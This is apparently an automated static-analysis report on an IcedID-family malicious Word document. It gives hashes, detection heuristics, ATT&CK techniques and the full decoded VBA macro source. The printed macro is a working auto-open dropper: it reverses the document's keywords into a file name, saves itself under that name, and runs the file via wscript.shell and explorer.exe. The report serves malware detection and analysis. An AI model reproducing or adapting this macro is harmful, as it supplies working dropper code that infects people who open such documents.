IcedID — Office (OOXML) malware analysis

Static analysis result for SHA-256 0d3ca99694865579…

MALICIOUS

Office (OOXML)

34.3 KB Created: 2021-11-04 10:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-11-20
MD5: bb210cc7237e4b8bcf01b2ef3019e27e SHA-1: 26cae11ee761e00f9dc059d524886a9c6bc75deb SHA-256: 0d3ca996948655790e97da2546f35d76ebd488ee3781e5d1d1611f58fade7a61
262 Risk Score

Malware Insights

IcedID · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter T1105 Ingress Tool Transfer

The sample is a malicious OOXML document containing a VBA macro. The `document_open` subroutine triggers the `karoline` subroutine, which in turn calls the `s` function. The `s` function uses `CreateObject("wscript.shell")` and executes `c:\windows\explorer.exe` with a command-line argument derived from the document's keywords, likely downloading and executing a second-stage payload. The ClamAV detection name 'Doc.Downloader.IcedID' strongly suggests the IcedID family.

Heuristics 7

  • ClamAV: Doc.Downloader.IcedID-8ff0f02ff0876072-9950256-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.IcedID-8ff0f02ff0876072-9950256-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1075 bytes
SHA-256: f9e32d3c2a1c319f30c06b6276bf5de3c4918ba419cbd51d2e532a36bfee5196
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function keywords()
With ActiveDocument
nextGirlDow = .BuiltInDocumentProperties("keywords").Value
End With
keywords = StrReverse(nextGirlDow)
ActiveDocument.Content.Find.Execute FindText:="_f", ReplaceWith:=girlGirlLove, Replace:=wdReplaceAll
End Function
Public Function s(likeLove, youGirlYou, loveLikeLove)
Set karolDoorPow = CreateObject("wscr" + youGirlYou + ".shell")
karolDoorPow.exec "c:\windows\exp" & loveLikeLove & " " & likeLove
End Function
Sub document_open()
main.karoline ("")
End Sub

Attribute VB_Name = "main"
Public Sub karoline(dowTubeTube)
Dim loadLoadPow As String
loadLoadPow = ""
dowKarolTube = ThisDocument.keywords
ActiveDocument.SaveAs2 FileName:=dowKarolTube, FileFormat:=wdFormatText
ThisDocument.s dowKarolTube, "ipt", "lorer"
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 15360 bytes
SHA-256: bf5d959079ca1252dc4036900c38fd9d0cf0ebea9e4bf1fd9eeb136b48ac4c02